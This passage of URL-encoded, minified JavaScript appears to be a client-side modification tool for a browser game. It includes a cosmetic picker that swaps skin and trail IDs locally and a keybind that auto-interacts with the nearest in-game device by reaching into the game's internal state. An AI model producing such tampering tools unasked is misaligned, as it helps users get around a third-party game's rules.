t)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20o%3D%7B%7D%3B!n%26%261%26r%26%26(n%3D!0%2Co.enabled%3De%5B0%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(o)%7D%2Ci(e)%7Br%7C%7C(le(t.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20yn(e%2Ct%2Cn)%7Blet%20r%3D!0%3Breturn%20xt.addKeybind(new%20Set(%5B%22enter%22%5D)%2C(function()%7Bif(!r)return%3Blet%20e%3DHe()%2Ct%3De%3F.stores%3F.phaser%3F.scene%3F.worldManager%3F.devices%3F.devicesInView%2Cn%3De%3F.stores%3F.phaser%3F.mainCharacter%3F.body%3Bif(!t%7C%7C!n)return%3Blet%20o%3Dnull%2Ci%3D1%2F0%3Bfor(let%20e%20of%20t)%7Bif(0%3D%3De.interactiveZones.zones.length)continue%3Blet%20t%3DMath.sqrt(Math.pow(e.x-n.x%2C2)%2BMath.pow(e.y-n.y%2C2))%3Bt%3Ci%26%26(o%3De%2Ci%3Dt)%7Dif(!o)return%3Bo%3F.interactiveZones%3F.onInteraction%3F.()%7D))%2C%5Br%2Cfunction(e)%7Br%3De%2Cn(0%2Cr)%7D%5D%7Dclass%20vn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cyn%2C%24n%2Ci%2C%7B%7D)%7D%7Dconst%20bn%3D%5B%22dayOne%22%2C%22echoAgent%22%2C%22stripeDoubleGreen%22%2C%22mustache%22%2C%22vortexAgent%22%2C%22grayGradient%22%2C%22redNinja%22%2C%22sprinklesRed%22%2C%22redDeliciousApple%22%2C%22sunny%22%2C%22fadedBlueGradient%22%2C%22glassHalfFull%22%2C%22whiteAndBlueVerticalStripes%22%2C%22polkaDotBlueAndYellow%22%2C%22pinkPaste%22%2C%22volcanoCracks%22%2C%22mustachePink%22%2C%22mountainAndSun%22%2C%22camoTan%22%2C%22redDinoCostume%22%2C%22stripeDoubleRed%22%2C%22coolRedBlueGradient%22%2C%22pencilPack%22%2C%22glyphsYellowBrown%22%2C%22camoBlue%22%2C%22purplePaste%22%2C%22galaxy%22%2C%22luchador%22%2C%22fox%22%2C%22pumpkin%22%2C%22rockyWest%22%2C%22mummy%22%2C%22ghostCostume%22%2C%22fifthBirthday%22%2C%22corn%22%2C%22feast%22%2C%22pumpkinPie%22%2C%22frostBuddy%22%2C%22polkaDotWhiteAndRed%22%2C%22festiveOnesieBlue%22%2C%22festiveOnesieRed%22%2C%22festiveOnesieGreen%22%2C%22festiveOnesieTan%22%2C%22gift%22%2C%22hotChocolate%22%2C%22snowman%22%2C%22snowglobe%22%2C%22mustacheSanta%22%2C%22firework%22%2C%22polkaDotFestiveReverse%22%2C%22polkaDotFestive%22%2C%22puzzleYellowPurple%22%2C%22puzzleGreenBlue%22%2C%22puzzleOrangeBlue%22%2C%22puzzleGrayWhite%22%2C%22puzzleRedGreen%22%2C%22roses%22%2C%22heart%22%2C%22hamster%22%2C%22leprechaun%22%2C%22cellGold%22%2C%22pirate%22%2C%22constellationPurpleYellow%22%2C%22constellationBlackGreen%22%2C%22constellationBlackWhite%22%2C%22constellationPinkGreen%22%2C%22constellationYellowPink%22%2C%22detective%22%2C%22sketch%22%2C%22astroHelmet%22%2C%22mustacheBrown%22%2C%22yinYang%22%2C%22fisher%22%2C%22coffee%22%2C%22partyPineapple%22%2C%22construction%22%2C%22graduate%22%2C%22graduateBlue%22%2C%22stripeDoublePurple%22%2C%22bananaSplit%22%2C%22rainbowWave%22%2C%22rockstar%22%2C%22mountain%22%2C%22tent%22%2C%22goat%22%2C%22daisy%22%2C%22climber%22%2C%22cookie%22%2C%22zebra%22%2C%22diamondRainbow%22%2C%22circuitGreen%22%2C%22circuitBlue%22%2C%22circuitGray%22%2C%22clock%22%2C%22squiggles%22%2C%22autumnTree%22%2C%22crashTestDummy%22%2C%22stripeDoubleYellow%22%2C%22witch%22%2C%22skeleton%22%2C%22spiderWeb%22%2C%22trickTreat%22%2C%22calacaOne%22%2C%22turkey%22%2C%22farmer%22%2C%22knight%22%2C%22yellowCracksPurple%22%2C%22arcticFox%22%2C%22whistle%22%2C%22penguinBlue%22%2C%22goldenHotChocolate%22%2C%22blastball%22%2C%22blastballGimchester%22%2C%22blastballKitcelona%22%2C%22pufferJacket%22%2C%22christmasTree%22%2C%22rudolph%22%2C%22snowball%22%2C%22santaClaus%22%2C%22causticWaterBlue%22%2C%22causticWaterRed%22%2C%22causticWaterGreen%22%2C%22causticWaterCaribe%22%2C%22causticWaterOcean%22%2C%22causticWaterPurple%22%2C%22taco%22%2C%22gimKing%22%2C%22sketchBlue%22%2C%22clown%22%2C%22camoGreen%22%2C%22cellBlue%22%2C%22burger%22%2C%22sprinklesChocolate%22%2C%22glyphsOrangeBlue%22%2C%22frozenMummy%22%2C%22evilPlantGreen%22%2C%22evilPlantPink%22%2C%22gamerGreen%22%2C%22gamerPink%22%2C%22gamerPurple%22%2C%22gamerYellow%22%2C%22sentryRobot%22%2C%228bit%22%2C%22redDino%22%2C%22calacaTwo%22%2C%22calacaThree%22%2C%22yarn%22%2C%22racoon%22%2C%22pilot%22%2C%22shark%22%2C%22redPanda%22%2C%22marshmallow%22%2C%22discoBall%22%2C%22incognito%22%2C%22dragon%22%2C%22golden%22%2C%22valenTime%22%2C%22referee%22%2C%22pilot%22%2C%22sprinklesChocolate%22%2C%22miningCart%22%2C%22rainCloud%22%2C%22watermelon%22%2C%22terrainBlock%22%2C%22floatingTube%22%2C%22miner%22%2C%22sproutingFlower%22%2C%22luckyClover%22%2C%22shark%22%2C%22axolotlPink%22%2C%22axolotlBlue%22%2C%22axolotlYellow%22%2C%22astroCaptain%22%2C%22tuxedo%22%2C%22blacksmith%22%5D%2Cwn%3D%5B%22origin_token%22%2C%22fire_notes%22%2C%22banana_peel%22%2C%22rainbow_dots%22%2C%22dust_particles%22%2C%22bubble%22%2C%22flowers%22%2C%22metal_spring%22%2C%22candy%22%2C%22day_of_the_dead%22%2C%22autumn_leaves%22%2C%22corn%22%2C%22hearts%22%2C%22stars%22%2C%22yin_yang%22%2C%22puzzle_pieces%22%2C%22taco%22%2C%22blastball_phrases%22%2C%22penguin_footprints%22%2C%22blastball%22%2C%22cupid_arrow%22%2C%22birds%22%2C%22mining_terrains%22%2C%22beachball%22%2C%22clovers%22%2C%22easter_eggs%22%5D%3Bfunction%20xn(e)%7Bx(e%2C%22svelte-bgasye%22%2C%22.container.svelte-bgasye%7Bdisplay%3Aflex%3Bpadding%3A5px%2010px%3Bwidth%3A100%25%3Bjustify-items%3Acenter%3Balign-self%3Acenter%7Dinput.svelte-bgasye%7Bflex-grow%3A1%3Bcolor%3Ablack%7Dselect.svelte-bgasye%7Bwidth%3A20px%3Bcolor%3Ablack%7D%22)%7Dfunction%20En(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B4%5D%3Dt%5Bn%5D%2Cr%7Dfunction%20_n(e)%7Blet%20t%2Cn%2Cr%2Co%3De%5B4%5D%2B%22%22%3Breturn%7Bc()%7Bt%3DO(%22option%22)%2Cn%3Dk(o)%2Ct.__value%3Dr%3De%5B4%5D%2CL(t%2Ct.__value)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ci)%7B2%26i%26%26o!%3D%3D(o%3De%5B4%5D%2B%22%22)%26%26D(n%2Co)%2C2%26i%26%26r!%3D%3D(r%3De%5B4%5D)%26%26(t.__value%3Dr%2CL(t%2Ct.__value))%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20An(t)%7Blet%20n%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%3Dfe(t%5B1%5D)%2Cu%3D%5B%5D%3Bfor(let%20e%3D0%3Be%3Cl.length%3Be%2B%3D1)u%5Be%5D%3D_n(En(t%2Cl%2Ce))%3Breturn%7Bc()%7Bn%3DO(%22div%22)%2Co%3DO(%22input%22)%2Ci%3DT()%2Cs%3DO(%22select%22)%3Bfor(let%20e%3D0%3Be%3Cu.length%3Be%2B%3D1)u%5Be%5D.c()%3BM(o%2C%22spellcheck%22%2C%22false%22)%2CM(o%2C%22class%22%2C%22svelte-bgasye%22)%2CM(s%2C%22class%22%2C%22svelte-bgasye%22)%2CM(n%2C%22class%22%2C%22container%20svelte-bgasye%22)%7D%2Cm(e%2Cr)%7BE(e%2Cn%2Cr)%2Cw(n%2Co)%2CL(o%2Ct%5B0%5D)%2Cw(n%2Ci)%2Cw(n%2Cs)%3Bfor(let%20e%3D0%3Be%3Cu.length%3Be%2B%3D1)u%5Be%5D%26%26u%5Be%5D.m(s%2Cnull)%3Ba%7C%7C(c%3D%5BR(o%2C%22input%22%2Ct%5B3%5D)%2CR(s%2C%22change%22%2Ct%5B2%5D)%5D%2Ca%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7Bif(1%26t%26%26o.value!%3D%3De%5B0%5D%26%26L(o%2Ce%5B0%5D)%2C2%26t)%7Blet%20n%3Bfor(l%3Dfe(e%5B1%5D)%2Cn%3D0%3Bn%3Cl.length%3Bn%2B%3D1)%7Bconst%20r%3DEn(e%2Cl%2Cn)%3Bu%5Bn%5D%3Fu%5Bn%5D.p(r%2Ct)%3A(u%5Bn%5D%3D_n(r)%2Cu%5Bn%5D.c()%2Cu%5Bn%5D.m(s%2Cnull))%7Dfor(%3Bn%3Cu.length%3Bn%2B%3D1)u%5Bn%5D.d(1)%3Bu.length%3Dl.length%7D%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2CA(u%2Ce)%2Ca%3D!1%2Cr(c)%7D%7D%7Dfunction%20On(e%2Ct%2Cn)%7Blet%7BselectOptions%3Ar%3D%5B%5D%7D%3Dt%2C%7Bvalue%3Ao%3D%22%22%7D%3Dt%3Breturn%20e.%24%24set%3De%3D%3E%7B%22selectOptions%22in%20e%26%26n(1%2Cr%3De.selectOptions)%2C%22value%22in%20e%26%26n(0%2Co%3De.value)%7D%2C%5Bo%2Cr%2Cfunction(e)%7Bn(0%2Co%3De.target.value)%7D%2Cfunction()%7Bo%3Dthis.value%2Cn(0%2Co)%7D%5D%7Dclass%20In%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2COn%2CAn%2Ci%2C%7BselectOptions%3A1%2Cvalue%3A0%7D%2Cxn)%7D%7Dfunction%20kn(e)%7Bx(e%2C%22svelte-1ychv30%22%2C%22.disclaimer.svelte-1ychv30%7Bmargin-left%3A5px%3Bmargin-right%3A5px%3Btext-align%3Acenter%7D.description.svelte-1ychv30%7Bwidth%3A100%25%3Btext-align%3Acenter%7D%22)%7Dfunction%20Tn(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Apply%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Cn(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%3Bfunction%20g(t)%7Be%5B4%5D(t)%7Dlet%20m%3D%7BselectOptions%3Abn%7D%3Bfunction%20%24(t)%7Be%5B5%5D(t)%7Dvoid%200!%3D%3De%5B0%5D%26%26(m.value%3De%5B0%5D)%2Ci%3Dnew%20In(%7Bprops%3Am%7D)%2CG.push((()%3D%3Ede(i%2C%22value%22%2Cg)))%3Blet%20y%3D%7BselectOptions%3Awn%7D%3Breturn%20void%200!%3D%3De%5B1%5D%26%26(y.value%3De%5B1%5D)%2Cu%3Dnew%20In(%7Bprops%3Ay%7D)%2CG.push((()%3D%3Ede(u%2C%22value%22%2C%24)))%2Ch%3Dnew%20Vt(%7Bprops%3A%7Bdisabled%3A!e%5B2%5D%2CdisabledMsg%3A%22Character%20hasn't%20loaded%22%2C%24%24slots%3A%7Bdefault%3A%5BTn%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ch.%24on(%22click%22%2Ce%5B3%5D)%2C%7Bc()%7Bt%3DO(%22div%22)%2Ct.textContent%3D%22These%20only%20work%20client-side.%20Nobody%20else%20can%20see%20these%20cosmetics.%22%2Cn%3DT()%2Cr%3DO(%22div%22)%2Cr.textContent%3D%22Skin%20ID%22%2Co%3DT()%2Che(i.%24%24.fragment)%2Ca%3DT()%2Cc%3DO(%22div%22)%2Cc.textContent%3D%22Trail%20ID%22%2Cl%3DT()%2Che(u.%24%24.fragment)%2Cd%3DT()%2Che(h.%24%24.fragment)%2CM(t%2C%22class%22%2C%22disclaimer%20svelte-1ychv30%22)%2CM(r%2C%22class%22%2C%22description%20svelte-1ychv30%22)%2CM(c%2C%22class%22%2C%22description%20svelte-1ychv30%22)%7D%2Cm(e%2Cs)%7BE(e%2Ct%2Cs)%2CE(e%2Cn%2Cs)%2CE(e%2Cr%2Cs)%2CE(e%2Co%2Cs)%2Cpe(i%2Ce%2Cs)%2CE(e%2Ca%2Cs)%2CE(e%2Cc%2Cs)%2CE(e%2Cl%2Cs)%2Cpe(u%2Ce%2Cs)%2CE(e%2Cd%2Cs)%2Cpe(h%2Ce%2Cs)%2Cp%3D!0%7D%2Cp(e%2Ct)%7Bconst%20n%3D%7B%7D%3B!s%26%261%26t%26%26(s%3D!0%2Cn.value%3De%5B0%5D%2Cee((()%3D%3Es%3D!1)))%2Ci.%24set(n)%3Bconst%20r%3D%7B%7D%3B!f%26%262%26t%26%26(f%3D!0%2Cr.value%3De%5B1%5D%2Cee((()%3D%3Ef%3D!1)))%2Cu.%24set(r)%3Bconst%20o%3D%7B%7D%3B4%26t%26%26(o.disabled%3D!e%5B2%5D)%2C256%26t%26%26(o.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Ch.%24set(o)%7D%2Ci(e)%7Bp%7C%7C(le(i.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cle(h.%24%24.fragment%2Ce)%2Cp%3D!0)%7D%2Co(e)%7Bue(i.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cue(h.%24%24.fragment%2Ce)%2Cp%3D!1%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n)%2C_(r)%2C_(o)%2C_(a)%2C_(c)%2C_(l)%2C_(d))%2Cge(i%2Ce)%2Cge(u%2Ce)%2Cge(h%2Ce)%7D%7D%7Dfunction%20Rn(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Cosmetic%20Picker%22%2C%24%24slots%3A%7Bdefault%3A%5BCn%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B263%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Sn(e%2Ct%2Cn)%7Blet%20r%3Bc(e%2Cut%2C(e%3D%3En(6%2Cr%3De)))%3Blet%20o%3D%22%22%2Ci%3D%22%22%2Cs%3D!1%2Ca%3DsetInterval((()%3D%3E%7Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.characterManager%3F.characters%3F.get(r)%3Be%26%26(n(0%2Co%3De.skin.skinId)%2Cn(1%2Ci%3De.characterTrail.currentAppearanceId)%2Cn(2%2Cs%3D!0)%2CclearInterval(a))%7D)%2C500)%3Breturn%20V((()%3D%3E%7BclearInterval(a)%7D))%2C%5Bo%2Ci%2Cs%2Cfunction()%7Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.characterManager%3F.characters%3F.get(r)%3Bif(e)%7Bif(%22%22!%3Do)%7Blet%20t%3Do%3Bt.startsWith(%22character_%22)%7C%7C(t%3D%22character_%22%2Bt)%2Ce.skin.updateSkin(%7Bid%3At%7D)%7Dif(%22%22!%3Di)%7Blet%20t%3Di%3Bt.startsWith(%22trail_%22)%7C%7C(t%3D%22trail_%22%2Bt)%2Ce.characterTrail.updateAppearance(t)%7D%7D%7D%2Cfunction(e)%7Bo%3De%2Cn(0%2Co)%7D%2Cfunction(e)%7Bi%3De%2Cn(1%2Ci)%7D%5D%7Dclass%20Pn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CSn%2CRn%2Ci%2C%7B%7D%2Ckn)%7D%7Dconst%20Mn%3D%5B%7Bquestion%3A%7Bbackground%3A%22rgba(48%2C%2063%2C%20159%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(119%2C%2019%2C%2034%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(168%2C%2092%2C%2021%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(13%2C%20107%2C%2051%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(7%2C%2098%2C%20150%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(108%2C%2047%2C%200%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(158%2C%20104%2C%2042%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(181%2C%2071%2C%2048%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(138%2C%20151%2C%2072%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(241%2C%20185%2C%2048%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(0%2C%2010%2C%2018%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(38%2C%2050%2C%2056%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(55%2C%2071%2C%2079%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(69%2C%2090%2C%20100%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(84%2C%20110%2C%20122%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(13%2C%200%2C%2025%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(34%2C%200%2C%2068%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(51%2C%200%2C%20102%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(62%2C%200%2C%20124%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(79%2C%2023%2C%20135%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(0%2C%200%2C%2099%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(40%2C%2053%2C%20147%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(7%2C%2098%2C%20150%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(2%2C%20119%2C%20189%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(21%2C%20101%2C%20192%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(76%2C%2061%2C%2051%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(56%2C%2086%2C%2069%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(66%2C%2092%2C%2073%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(65%2C%2086%2C%2065%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(76%2C%2099%2C%2073%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(127%2C%20116%2C%20150%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(244%2C%20111%2C%2090%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(237%2C%20113%2C%2045%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(122%2C%2089%2C%20106%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(232%2C%20171%2C%2060%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(255%2C%20191%2C%20209%2C%201)%22%2Ctext%3A%22rgba(67%2C%2067%2C%2067%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(255%2C%20166%2C%20158%2C%201)%22%2Ctext%3A%22rgba(91%2C%2091%2C%2091%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(252%2C%20246%2C%20191%2C%201)%22%2Ctext%3A%22rgba(91%2C%2091%2C%2091%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(208%2C%20244%2C%20222%2C%201)%22%2Ctext%3A%22rgba(91%2C%2091%2C%2091%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(147%2C%20225%2C%20216%2C%201)%22%2Ctext%3A%22rgba(91%2C%2091%2C%2091%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(156%2C%200%2C%2034%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(0%2C%2029%2C%2059%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(255%2C%20174%2C%2082%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(254%2C%2089%2C%2099%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(167%2C%2028%2C%20148%2C%201)%22%2Ctext%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%5D%7D%2C%7Bquestion%3A%7Bbackground%3A%22rgba(0%2C%200%2C%200%2C%201)%22%2Ctext%3A%22rgba(255%2C%20205%2C%2043%2C%201)%22%7D%2Cpalette%3A%5B%7Bbackground%3A%22rgba(255%2C%20205%2C%2043%2C%201)%22%2Ctext%3A%22rgba(0%2C%200%2C%200%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(255%2C%20199%2C%2033%2C%201)%22%2Ctext%3A%22rgba(0%2C%200%2C%200%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(255%2C%20209%2C%2071%2C%201)%22%2Ctext%3A%22rgba(0%2C%200%2C%200%2C%201)%22%7D%2C%7Bbackground%3A%22rgba(255%2C%20205%2C%2056%2C%201)%22%2Ctext%3A%22rgba(0%2C%200%2C%200%2C%201)%22%7D%5D%7D%5D%3Bfunction%20Nn(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22desc%22)%2Cn%3Dk(e%5B7%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B128%26t%26%26D(n%2Ce%5B7%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Dn(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22title%22)%2Cn%3Dk(e%5B6%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B64%26t%26%26D(n%2Ce%5B6%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Ln(t)%7Blet%20n%2Cr%2Co%2Ci%3Dt%5B7%5D%26%26Nn(t)%2Cs%3Dt%5B6%5D%26%26Dn(t)%3Breturn%7Bc()%7Bn%3DI(%22svg%22)%2Ci%26%26i.c()%2Cr%3DC()%2Cs%26%26s.c()%2Co%3DI(%22path%22)%2CM(o%2C%22d%22%2C%22M19%2C4H15.5L14.5%2C3H9.5L8.5%2C4H5V6H19M6%2C19A2%2C2%200%200%2C0%208%2C21H16A2%2C2%200%200%2C0%2018%2C19V7H6V19Z%22)%2CM(o%2C%22fill%22%2Ct%5B2%5D)%2CM(n%2C%22viewBox%22%2Ct%5B3%5D)%2CM(n%2C%22width%22%2Ct%5B0%5D)%2CM(n%2C%22height%22%2Ct%5B1%5D)%2CM(n%2C%22class%22%2Ct%5B8%5D)%2CM(n%2C%22aria-label%22%2Ct%5B4%5D)%2CM(n%2C%22aria-hidden%22%2Ct%5B5%5D)%7D%2Cm(e%2Ct)%7BE(e%2Cn%2Ct)%2Ci%26%26i.m(n%2Cnull)%2Cw(n%2Cr)%2Cs%26%26s.m(n%2Cnull)%2Cw(n%2Co)%7D%2Cp(e%2C%5Bt%5D)%7Be%5B7%5D%3Fi%3Fi.p(e%2Ct)%3A(i%3DNn(e)%2Ci.c()%2Ci.m(n%2Cr))%3Ai%26%26(i.d(1)%2Ci%3Dnull)%2Ce%5B6%5D%3Fs%3Fs.p(e%2Ct)%3A(s%3DDn(e)%2Cs.c()%2Cs.m(n%2Co))%3As%26%26(s.d(1)%2Cs%3Dnull)%2C4%26t%26%26M(o%2C%22fill%22%2Ce%5B2%5D)%2C8%26t%26%26M(n%2C%22viewBox%22%2Ce%5B3%5D)%2C1%26t%26%26M(n%2C%22width%22%2Ce%5B0%5D)%2C2%26t%26%26M(n%2C%22height%22%2Ce%5B1%5D)%2C256%26t%26%26M(n%2C%22class%22%2Ce%5B8%5D)%2C16%26t%26%26M(n%2C%22aria-label%22%2Ce%5B4%5D)%2C32%26t%26%26M(n%2C%22aria-hidden%22%2Ce%5B5%5D)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Ci%26%26i.d()%2Cs%26%26s.d()%7D%7D%7Dfunction%20qn(e%2Ct%2Cn)%7Blet%7Bsize%3Ar%3D%221em%22%7D%3Dt%2C%7Bwidth%3Ao%3Dr%7D%3Dt%2C%7Bheight%3Ai%3Dr%7D%3Dt%2C%7Bcolor%3As%3D%22currentColor%22%7D%3Dt%2C%7BviewBox%3Aa%3D%220%200%2024%2024%22%7D%3Dt%2C%7BariaLabel%3Ac%7D%3Dt%2C%7BariaHidden%3Al%7D%3Dt%2C%7Btitle%3Au%7D%3Dt%2C%7Bdesc%3Af%7D%3Dt%2C%7Bclass%3Ad%7D%3Dt%3Breturn%20e.%24%24set%3De%3D%3E%7B%22size%22in%20e%26%26n(9%2Cr%3De.size)%2C%22width%22in%20e%26%26n(0%2Co%3De.width)%2C%22height%22in%20e%26%26n(1%2Ci%3De.height)%2C%22color%22in%20e%26%26n(2%2Cs%3De.color)%2C%22viewBox%22in%20e%26%26n(3%2Ca%3De.viewBox)%2C%22ariaLabel%22in%20e%26%26n(4%2Cc%3De.ariaLabel)%2C%22ariaHidden%22in%20e%26%26n(5%2Cl%3De.ariaHidden)%2C%22title%22in%20e%26%26n(6%2Cu%3De.title)%2C%22desc%22in%20e%26%26n(7%2Cf%3De.desc)%2C%22class%22in%20e%26%26n(8%2Cd%3De.class)%7D%2C%5Bo%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2C